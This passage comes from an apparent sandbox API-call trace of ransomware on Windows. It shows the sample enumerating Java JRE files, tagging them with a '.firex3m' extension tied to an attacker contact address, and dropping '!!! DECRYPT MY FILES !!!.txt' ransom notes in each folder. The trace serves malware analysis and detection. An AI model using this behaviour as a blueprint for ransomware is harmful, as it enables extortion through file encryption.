ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0116.958] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 1 [0116.958] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe") returned 0x34 [0116.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.958] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.958] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.958] GetProcessHeap () returned 0x630000 [0116.958] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5040, Size=0x3c) returned 0x69b060 [0116.958] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0116.959] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 1 [0116.959] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll") returned 0x31 [0116.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.959] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.959] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.959] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 [0116.959] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 1 [0116.959] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll", cchLength=0x37 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 0x37 [0116.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.959] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.959] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.960] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0116.960] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll", len=0x41 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 1 [0116.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll", cchLength=0x41 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll") returned 0x41 [0116.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.960] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.960] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.960] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0116.960] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 1 [0116.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 0x33 [0116.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.961] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.961] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.961] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0116.961] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 1 [0116.961] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll") returned 0x2e [0116.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.961] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.961] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.961] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.961] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0116.962] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0116.962] SysReAllocStringLen (in: pbstr=0x6ebf0d0*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", len=0x2c | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 1 [0116.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", cchLength=0x2c | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\copyright") returned 0x2c [0116.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.962] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.962] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe074, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt殖ৄh") returned 28 [0116.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe070, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt殖ৄh") returned 17 [0116.963] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeddc | out: lpFindFileData=0x6ebeddc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5340 [0116.963] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0116.963] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0116.966] GetProcessHeap () returned 0x630000 [0116.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b060, Size=0x40) returned 0x69b3c0 [0116.966] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0116.966] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\", len=0x27 | out: pbstr=0x6ebee10*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\") returned 1 [0116.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\", cchLength=0x27 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\") returned 0x27 [0116.966] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0116.966] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0116.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x6bc, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0118.290] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.291] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0118.291] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties", len=0x3f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 1 [0118.291] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties", cchLength=0x3f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties") returned 0x3f [0118.291] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.292] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.292] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0118.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0118.292] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8b45bd2, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5200 [0118.292] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.292] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0118.295] GetProcessHeap () returned 0x630000 [0118.295] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b12f8 [0118.296] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0118.296] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\", len=0x2d | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\") returned 1 [0118.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\", cchLength=0x2d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\") returned 0x2d [0118.296] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.296] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x688, cFileName=".", cAlternateFileName="")) returned 0x6d5200 [0118.297] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.297] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0118.298] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", len=0x34 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 1 [0118.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 0x34 [0118.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.298] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.298] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0118.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, 